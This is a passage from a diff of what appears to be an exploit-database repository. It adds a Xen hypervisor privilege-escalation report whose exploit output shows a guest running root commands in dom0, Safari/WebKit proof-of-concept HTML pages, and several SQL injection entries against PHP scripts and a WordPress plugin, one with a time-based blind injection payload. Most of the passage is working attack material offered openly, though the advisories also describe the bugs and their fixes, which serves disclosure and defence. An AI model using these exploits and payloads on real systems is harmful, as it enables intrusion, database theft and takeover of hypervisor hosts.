#7 0x10b2c01e4 in JSC::CodeBlock::setConstantRegisters(WTF::Vector<JSC::WriteBarrier<JSC::Unknown>, 0ul, WTF::CrashOnOverflow, 16ul> const&, WTF::Vector<JSC::SourceCodeRepresentation, 0ul, WTF::CrashOnOverflow, 16ul> const&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x62c1e4)
|
||||
#8 0x10b2bba44 in JSC::CodeBlock::finishCreation(JSC::VM&, JSC::ScriptExecutable*, JSC::UnlinkedCodeBlock*, JSC::JSScope*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x627a44)
|
||||
#9 0x10c290c73 in JSC::FunctionCodeBlock::create(JSC::VM*, JSC::FunctionExecutable*, JSC::UnlinkedFunctionCodeBlock*, JSC::JSScope*, WTF::PassRefPtr<JSC::SourceProvider>, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73)
|
||||
#10 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockFor(JSC::CodeSpecializationKind, JSC::JSFunction*, JSC::JSScope*, JSC::JSObject*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fc1ea)
|
||||
#11 0x10c29182a in JSC::ScriptExecutable::prepareForExecutionImpl(JSC::VM&, JSC::JSFunction*, JSC::JSScope*, JSC::CodeSpecializationKind, JSC::CodeBlock*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fd82a)
|
||||
#12 0x10bf2c921 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1298921)
|
||||
#13 0x10bf3b9ce in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a79ce)
|
||||
#14 0x10bf34faa in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a0faa)
|
||||
#15 0x10bbf7d1d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf63d1d)
|
||||
#16 0x10bb80c6d in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xeecc6d)
|
||||
#17 0x10b371316 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd316)
|
||||
#18 0x10b37151e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd51e)
|
||||
#19 0x116201743 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f5743)
|
||||
#20 0x1162012b4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f52b4)
|
||||
#21 0x116214881 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2508881)
|
||||
#22 0x116211943 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2505943)
|
||||
#23 0x114a13b5c in WebCore::HTMLScriptRunner::runScript(WebCore::Element*, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07b5c)
|
||||
#24 0x114a13895 in WebCore::HTMLScriptRunner::execute(WTF::PassRefPtr<WebCore::Element>, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07895)
|
||||
#25 0x11493fc35 in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33c35)
|
||||
#26 0x114940372 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34372)
|
||||
#27 0x11493f544 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33544)
|
||||
#28 0x114940f9d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34f9d)
|
||||
#29 0x1143a3df1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x697df1)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671069) in JSC::SymbolTableEntry::isWatchable() const
|
||||
Shadow bytes around the buggy address:
|
||||
0x1c1800019180: 00 00 00 00 00 00 06 fa fa fa fa fa fa fa fa fa
|
||||
0x1c1800019190: 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
|
||||
0x1c18000191a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x1c18000191b0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
|
||||
0x1c18000191c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x1c18000191d0: fa[fa]fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x1c18000191e0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
|
||||
0x1c18000191f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c1800019200: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x1c1800019210: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
|
||||
0x1c1800019220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Heap right redzone: fb
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack partial redzone: f4
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
==55079==ABORTING
|
||||
-->
|
222
platforms/multiple/local/41870.txt
Executable file
222
platforms/multiple/local/41870.txt
Executable file
|
@ -0,0 +1,222 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1184
|
||||
|
||||
This bug report describes a vulnerability in memory_exchange() that
|
||||
permits PV guest kernels to write to an arbitrary virtual address with
|
||||
hypervisor privileges. The vulnerability was introduced through a
|
||||
broken fix for CVE-2012-5513 / XSA-29.
|
||||
|
||||
The fix for CVE-2012-5513 / XSA-29 introduced the following check in
|
||||
the memory_exchange() hypercall handler:
|
||||
|
||||
if ( !guest_handle_okay(exch.in.extent_start, exch.in.nr_extents) ||
|
||||
!guest_handle_okay(exch.out.extent_start, exch.out.nr_extents) )
|
||||
{
|
||||
rc = -EFAULT;
|
||||
goto fail_early;
|
||||
}
|
||||
|
||||
guest_handle_okay() calls array_access_ok(), which calls access_ok(),
|
||||
which is implemented as follows:
|
||||
|
||||
/*
|
||||
* Valid if in +ve half of 48-bit address space, or above
|
||||
* Xen-reserved area.
|
||||
* This is also valid for range checks (addr, addr+size). As long
|
||||
* as the start address is outside the Xen-reserved area then we
|
||||
* will access a non-canonical address (and thus fault) before
|
||||
* ever reaching VIRT_START.
|
||||
*/
|
||||
#define __addr_ok(addr) \
|
||||
(((unsigned long)(addr) < (1UL<<47)) || \
|
||||
((unsigned long)(addr) >= HYPERVISOR_VIRT_END))
|
||||
|
||||
#define access_ok(addr, size) \
|
||||
(__addr_ok(addr) || is_compat_arg_xlat_range(addr, size))
|
||||
|
||||
As the comment states, access_ok() only checks the address, not the
|
||||
size, if the address points to guest memory, based on the assumption
|
||||
that any caller of access_ok() will access guest memory linearly,
|
||||
starting at the supplied address. Callers that want to access a
|
||||
subrange of the memory referenced by a guest handle are supposed to
|
||||
use guest_handle_subrange_okay(), which takes an additional start
|
||||
offset parameter, instead of guest_handle_okay().
|
||||
|
||||
memory_exchange() uses guest_handle_okay(), but only accesses the
|
||||
guest memory arrays referenced by exch.in.extent_start and
|
||||
exch.out.extent_start starting at exch.nr_exchanged, a 64-bit offset.
|
||||
The intent behind exch.nr_exchanged is that guests always set it to 0
|
||||
and nonzero values are only set when a hypercall has to be restarted
|
||||
because of preemption, but this isn't enforced.
|
||||
|
||||
Therefore, by invoking this hypercall with crafted arguments, it is
|
||||
possible to write to an arbitrary memory location that is encoded as
|
||||
|
||||
exch.out.extent_start + 8 * exch.nr_exchanged
|
||||
|
||||
where exch.out.extent_start points to guest memory and
|
||||
exch.nr_exchanged is an attacker-chosen 64-bit value.
|
||||
|
||||
|
||||
I have attached a proof of concept. This PoC demonstrates the issue by
|
||||
overwriting the first 8 bytes of the IDT entry for #PF, causing the
|
||||
next pagefault to doublefault. To run the PoC, unpack it in a normal
|
||||
64-bit PV domain and run the following commands in the domain as root:
|
||||
|
||||
root@pv-guest:~# cd crashpoc
|
||||
root@pv-guest:~/crashpoc# make -C /lib/modules/$(uname -r)/build M=$(pwd)
|
||||
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
|
||||
LD /root/crashpoc/built-in.o
|
||||
CC [M] /root/crashpoc/module.o
|
||||
nasm -f elf64 -o /root/crashpoc/native.o /root/crashpoc/native.asm
|
||||
LD [M] /root/crashpoc/test.o
|
||||
Building modules, stage 2.
|
||||
MODPOST 1 modules
|
||||
WARNING: could not find /root/crashpoc/.native.o.cmd for /root/crashpoc/native.o
|
||||
CC /root/crashpoc/test.mod.o
|
||||
LD [M] /root/crashpoc/test.ko
|
||||
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
|
||||
root@pv-guest:~/crashpoc# insmod test.ko
|
||||
root@pv-guest:~/crashpoc# rmmod test
|
||||
|
||||
The machine on which I tested the PoC was running Xen 4.6.0-1ubuntu4
|
||||
(from Ubuntu 16.04.2). Executing the PoC caused the following console
|
||||
output:
|
||||
|
||||
(XEN) *** DOUBLE FAULT ***
|
||||
(XEN) ----[ Xen-4.6.0 x86_64 debug=n Tainted: C ]----
|
||||
(XEN) CPU: 0
|
||||
(XEN) RIP: e033:[<0000557b46f56860>] 0000557b46f56860
|
||||
(XEN) RFLAGS: 0000000000010202 CONTEXT: hypervisor
|
||||
(XEN) rax: 00007fffe9cfafd0 rbx: 00007fffe9cfd160 rcx: 0000557b47ebd040
|
||||
(XEN) rdx: 0000000000000001 rsi: 0000000000000004 rdi: 0000557b47ec52e0
|
||||
(XEN) rbp: 00007fffe9cfd158 rsp: 00007fffe9cfaf30 r8: 0000557b46f7df00
|
||||
(XEN) r9: 0000557b46f7dec0 r10: 0000557b46f7df00 r11: 0000557b47ec5878
|
||||
(XEN) r12: 0000557b47ebd040 r13: 00007fffe9cfb0c0 r14: 0000557b47ec52e0
|
||||
(XEN) r15: 0000557b47ed5e70 cr0: 0000000080050033 cr4: 00000000001506a0
|
||||
(XEN) cr3: 0000000098e2e000 cr2: 00007fffe9cfaf93
|
||||
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: e02b cs: e033
|
||||
(XEN)
|
||||
(XEN) ****************************************
|
||||
(XEN) Panic on CPU 0:
|
||||
(XEN) DOUBLE FAULT -- system shutdown
|
||||
(XEN) ****************************************
|
||||
(XEN)
|
||||
(XEN) Reboot in five seconds...
|
||||
|
||||
|
||||
I strongly recommend changing the semantics of access_ok() so that it
|
||||
guarantees that any access to an address inside the specified range is
|
||||
valid. Alternatively, add some prefix, e.g. "UNSAFE_", to the names of
|
||||
access_ok() and appropriate wrappers to prevent people from using
|
||||
these functions improperly. Currently, in my opinion, the function
|
||||
name access_ok() is misleading.
|
||||
|
||||
Proof of Concept: xen_memory_exchange_crashpoc.tar
|
||||
|
||||
################################################################################
|
||||
|
||||
I have written an exploit (attached).
|
||||
|
||||
Usage (in an unprivileged PV guest with kernel headers, gcc, make, nasm and hexdump):
|
||||
|
||||
|
||||
root@pv-guest:~/privesc_poc# ./compile.sh
|
||||
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
|
||||
LD /root/privesc_poc/built-in.o
|
||||
CC [M] /root/privesc_poc/module.o
|
||||
nasm -f elf64 -o /root/privesc_poc/native.o /root/privesc_poc/native.asm
|
||||
LD [M] /root/privesc_poc/test.o
|
||||
Building modules, stage 2.
|
||||
MODPOST 1 modules
|
||||
WARNING: could not find /root/privesc_poc/.native.o.cmd for /root/privesc_poc/native.o
|
||||
CC /root/privesc_poc/test.mod.o
|
||||
LD [M] /root/privesc_poc/test.ko
|
||||
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
|
||||
root@pv-guest:~/privesc_poc# ./attack 'id > /tmp/owned_by_the_guest'
|
||||
press enter to continue
|
||||
<press enter>
|
||||
root@pv-guest:~/privesc_poc#
|
||||
|
||||
|
||||
dmesg in the unprivileged PV guest:
|
||||
|
||||
|
||||
[ 721.413415] call_int_85 at 0xffffffffc0075a90
|
||||
[ 721.420167] backstop_85_handler at 0xffffffffc0075a93
|
||||
[ 722.801566] PML4 at ffff880002fe3000
|
||||
[ 722.808216] PML4 entry: 0x13bba4067
|
||||
[ 722.816161] ### trying to write crafted PUD entry...
|
||||
[ 722.824178] ### writing byte 0
|
||||
[ 722.832193] write_byte_hyper(ffff88007a491008, 0x7)
|
||||
[ 722.840254] write_byte_hyper successful
|
||||
[ 722.848234] ### writing byte 1
|
||||
[ 722.856170] write_byte_hyper(ffff88007a491009, 0x80)
|
||||
[ 722.864219] write_byte_hyper successful
|
||||
[ 722.872241] ### writing byte 2
|
||||
[ 722.880215] write_byte_hyper(ffff88007a49100a, 0x35)
|
||||
[ 722.889014] write_byte_hyper successful
|
||||
[ 722.896232] ### writing byte 3
|
||||
[ 722.904265] write_byte_hyper(ffff88007a49100b, 0x6)
|
||||
[ 722.912599] write_byte_hyper successful
|
||||
[ 722.920246] ### writing byte 4
|
||||
[ 722.928270] write_byte_hyper(ffff88007a49100c, 0x0)
|
||||
[ 722.938554] write_byte_hyper successful
|
||||
[ 722.944231] ### writing byte 5
|
||||
[ 722.952239] write_byte_hyper(ffff88007a49100d, 0x0)
|
||||
[ 722.961769] write_byte_hyper successful
|
||||
[ 722.968221] ### writing byte 6
|
||||
[ 722.976219] write_byte_hyper(ffff88007a49100e, 0x0)
|
||||
[ 722.984319] write_byte_hyper successful
|
||||
[ 722.992233] ### writing byte 7
|
||||
[ 723.000234] write_byte_hyper(ffff88007a49100f, 0x0)
|
||||
[ 723.008341] write_byte_hyper successful
|
||||
[ 723.016254] ### writing byte 8
|
||||
[ 723.024357] write_byte_hyper(ffff88007a491010, 0x0)
|
||||
[ 723.032254] write_byte_hyper successful
|
||||
[ 723.040236] ### crafted PUD entry written
|
||||
[ 723.048199] dummy
|
||||
[ 723.056199] going to link PMD into target PUD
|
||||
[ 723.064238] linked PMD into target PUD
|
||||
[ 723.072206] going to unlink mapping via userspace PUD
|
||||
[ 723.080230] mapping unlink done
|
||||
[ 723.088251] copying HV and user shellcode...
|
||||
[ 723.096283] copied HV and user shellcode
|
||||
[ 723.104270] int 0x85 returned 0x7331
|
||||
[ 723.112237] remapping paddr 0x13bb86000 to vaddr 0xffff88000355a800
|
||||
[ 723.120192] IDT entry for 0x80 should be at 0xffff83013bb86800
|
||||
[ 723.128226] remapped IDT entry for 0x80 to 0xffff804000100800
|
||||
[ 723.136260] IDT entry for 0x80: addr=0xffff82d08022a3d0, selector=0xe008, ist=0x0, p=1, dpl=3, s=0, type=15
|
||||
[ 723.144291] int 0x85 returned 0x1337
|
||||
[ 723.152235] === END ===
|
||||
|
||||
|
||||
The supplied shell command executes in dom0 (and all other 64bit PV domains):
|
||||
|
||||
|
||||
root@ubuntu:~# cat /tmp/owned_by_the_guest
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
root@ubuntu:~#
|
||||
|
||||
|
||||
Note that the exploit doesn't clean up after itself - shutting down the attacking domain will panic the hypervisor.
|
||||
|
||||
|
||||
I have tested the exploit in the following configurations:
|
||||
|
||||
configuration 1:
|
||||
running inside VMware Workstation
|
||||
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
|
||||
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
|
||||
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
|
||||
|
||||
configuration 2:
|
||||
running on a physical machine with Qubes OS 3.1 installed
|
||||
Xen version 4.6.3
|
||||
|
||||
Proof of Concept: privesc_poc.tar.gz
|
||||
|
||||
################################################################################
|
||||
|
||||
Proofs of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41870.zip
|
||||
|
73
platforms/multiple/webapps/41865.html
Executable file
73
platforms/multiple/webapps/41865.html
Executable file
|
@ -0,0 +1,73 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121
|
||||
|
||||
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.
|
||||
|
||||
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
|
||||
{
|
||||
// Support for <frame src="javascript:string">
|
||||
URL scriptURL;
|
||||
URL url;
|
||||
if (protocolIsJavaScript(urlString)) {
|
||||
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
|
||||
url = blankURL();
|
||||
} else
|
||||
url = completeURL(urlString);
|
||||
|
||||
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
|
||||
url = blankURL();
|
||||
|
||||
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
|
||||
if (!frame)
|
||||
return false;
|
||||
|
||||
if (!scriptURL.isEmpty())
|
||||
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.
|
||||
|
||||
Tested on Safari 10.0.3(12602.4.8).
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
<body>
|
||||
<p>click anywhere</p>
|
||||
<script>
|
||||
|
||||
window.onclick = () => {
|
||||
window.onclick = null;
|
||||
|
||||
f = document.createElement('iframe');
|
||||
f.src = 'javascript:alert(location)';
|
||||
f.onload = () => {
|
||||
f.onload = null;
|
||||
|
||||
let a = f.contentDocument.createElement('a');
|
||||
a.href = 'https://abc.xyz/';
|
||||
a.click();
|
||||
|
||||
window.showModalDialog(URL.createObjectURL(new Blob([`
|
||||
<script>
|
||||
let it = setInterval(() => {
|
||||
try {
|
||||
opener[0].document.x;
|
||||
} catch (e) {
|
||||
clearInterval(it);
|
||||
|
||||
window.close();
|
||||
}
|
||||
}, 100);
|
||||
</scrip` + 't>'], {type: 'text/html'})));
|
||||
};
|
||||
|
||||
document.body.appendChild(f);
|
||||
};
|
||||
|
||||
cached.src = kUrl;
|
||||
|
||||
</script>
|
||||
</body>
|
61
platforms/multiple/webapps/41866.html
Executable file
61
platforms/multiple/webapps/41866.html
Executable file
|
@ -0,0 +1,61 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119
|
||||
|
||||
This is somewhat similar to https://crbug.com/663476.
|
||||
|
||||
Here's a snippet of Container::replaceAllChildren.
|
||||
|
||||
while (RefPtr<Node> child = m_firstChild) {
|
||||
removeBetween(nullptr, child->nextSibling(), *child);
|
||||
notifyChildNodeRemoved(*this, *child);
|
||||
}
|
||||
|
||||
If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.
|
||||
|
||||
Tested on Safari 10.0.3(12602.4.8).
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
|
||||
let f = document.body.appendChild(document.createElement('iframe'));
|
||||
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
|
||||
let link = inp.appendChild(document.createElement('link'));
|
||||
link.rel = 'stylesheet';
|
||||
link.href = 'data:,aaaaazxczxczzxzcz';
|
||||
|
||||
let btn = f.contentDocument.body.appendChild(document.createElement('button'));
|
||||
btn.id = 'btn';
|
||||
btn.onfocus = () => {
|
||||
btn.onfocus = null;
|
||||
|
||||
window.g = inp.appendChild(document.createElement('iframe'));
|
||||
window.g.onload = () => {
|
||||
window.g.onload = null;
|
||||
|
||||
window.g.src = 'javascript:alert(location)';
|
||||
let xml = `
|
||||
<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<script>
|
||||
document.documentElement.appendChild(parent.g);
|
||||
|
||||
</sc` + `ript>
|
||||
<element a="1" a="2" />
|
||||
</svg>`;
|
||||
|
||||
let h = document.body.appendChild(document.createElement('iframe'));
|
||||
h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
|
||||
};
|
||||
|
||||
window.g.src = 'https://abc.xyz/';
|
||||
};
|
||||
|
||||
f.contentWindow.location.hash = 'btn';
|
||||
inp.textContent = '';
|
||||
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
20
platforms/php/webapps/41856.txt
Executable file
20
platforms/php/webapps/41856.txt
Executable file
|
@ -0,0 +1,20 @@
|
|||
# # # # #
|
||||
# Exploit Title: Classified Portal Software 5.1 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 11.04.2017
|
||||
# Vendor Homepage: http://www.myclassifiedscript.com/
|
||||
# Software: http://www.myclassifiedscript.com/demo.html
|
||||
# Demo: http://www.clpage.com/
|
||||
# Version: 5.1
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# #ihsansencan
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=222&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=[SQL]&sub.x=46&sub.y=8&searchkey=search_record
|
||||
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=[SQL]&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=&sub.x=46&sub.y=8&searchkey=search_record
|
||||
# Etc...
|
||||
# # # # #
|
97
platforms/php/webapps/41857.txt
Executable file
97
platforms/php/webapps/41857.txt
Executable file
|
@ -0,0 +1,97 @@
|
|||
=============================================
|
||||
MGC ALERT 2017-003
|
||||
- Original release date: April 06, 2017
|
||||
- Last revised: April 10, 2017
|
||||
- Discovered by: Manuel García Cárdenas
|
||||
- Severity: 7,1/10 (CVSS Base Score)
|
||||
=============================================
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
WordPress event calendar is a FREE user-friendly responsive plugin to
|
||||
manage multiple recurring events and with various options.
|
||||
|
||||
III. DESCRIPTION
|
||||
-------------------------
|
||||
This bug was found using the portal in the files:
|
||||
|
||||
/spider-event-calendar/calendar_functions.php: if
|
||||
(isset($_POST['order_by'])) {
|
||||
/spider-event-calendar/widget_Theme_functions.php: if
|
||||
(isset($_POST['order_by']) && $_POST['order_by'] != '') {
|
||||
|
||||
And when the query is executed, the parameter "order_by" it is not
|
||||
sanitized:
|
||||
|
||||
/spider-event-calendar/front_end/frontend_functions.php: $rows =
|
||||
$wpdb->get_results($query." ".$order_by);
|
||||
|
||||
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
|
||||
protocol to interact with the application.
|
||||
|
||||
It is possible to inject SQL code.
|
||||
|
||||
IV. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
The following URL have been confirmed to all suffer from Time Based SQL
|
||||
Injection.
|
||||
|
||||
Time Based SQL Injection POC:
|
||||
|
||||
POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1
|
||||
|
||||
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
|
||||
(2 seconds of response)
|
||||
|
||||
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
|
||||
(30 seconds of response)
|
||||
|
||||
V. BUSINESS IMPACT
|
||||
-------------------------
|
||||
Public defacement, confidential data leakage, and database server
|
||||
compromise can result from these attacks. Client systems can also be
|
||||
targeted, and complete compromise of these client systems is also possible.
|
||||
|
||||
VI. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
Spider Event Calendar <= 1.5.51
|
||||
|
||||
VII. SOLUTION
|
||||
-------------------------
|
||||
Vendor release a new version.
|
||||
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip
|
||||
|
||||
VIII. REFERENCES
|
||||
-------------------------
|
||||
https://es.wordpress.org/plugins/spider-event-calendar/
|
||||
|
||||
IX. CREDITS
|
||||
-------------------------
|
||||
This vulnerability has been discovered and reported
|
||||
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
|
||||
|
||||
X. REVISION HISTORY
|
||||
-------------------------
|
||||
April 06, 2017 1: Initial release
|
||||
April 10, 2017 2: Revision to send to lists
|
||||
|
||||
XI. DISCLOSURE TIMELINE
|
||||
-------------------------
|
||||
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
|
||||
April 06, 2017 2: Send to vendor
|
||||
April 07, 2017 3: Vendor fix the vulnerability and release a new version
|
||||
April 10, 2017 4: Send to the Full-Disclosure lists
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
The information contained within this advisory is supplied "as-is" with no
|
||||
warranties or guarantees of fitness of use or otherwise.
|
||||
|
||||
XIII. ABOUT
|
||||
-------------------------
|
||||
Manuel Garcia Cardenas
|
||||
Pentester
|
23
platforms/php/webapps/41858.txt
Executable file
23
platforms/php/webapps/41858.txt
Executable file
|
@ -0,0 +1,23 @@
|
|||
# # # # #
|
||||
# Exploit Title: Social Directory Script 2.0 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 11.04.2017
|
||||
# Vendor Homepage: http://www.phponly.com/
|
||||
# Software: http://www.phponly.com/Social-Directory.html
|
||||
# Demo: http://www.phponly.com/demo/link/
|
||||
# Version: 2.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# #ihsansencan
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/index.php?subcategory=[SQL]
|
||||
# http://localhost/[PATH]/searchtopic.php?search=[SQL]
|
||||
# http://localhost/[PATH]/index.php?category=[SQL]
|
||||
# phponly_link_admin:id
|
||||
# phponly_link_admin:username
|
||||
# phponly_link_admin:password
|
||||
# # # # #
|
18
platforms/php/webapps/41859.txt
Executable file
18
platforms/php/webapps/41859.txt
Executable file
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: FAQ Script 3.1.3 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 11.04.2017
|
||||
# Vendor Homepage: http://www.phponly.com/
|
||||
# Software: http://www.phponly.com/faq.html
|
||||
# Demo: http://www.phponly.com/demo/faq/
|
||||
# Version: 3.1.3
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
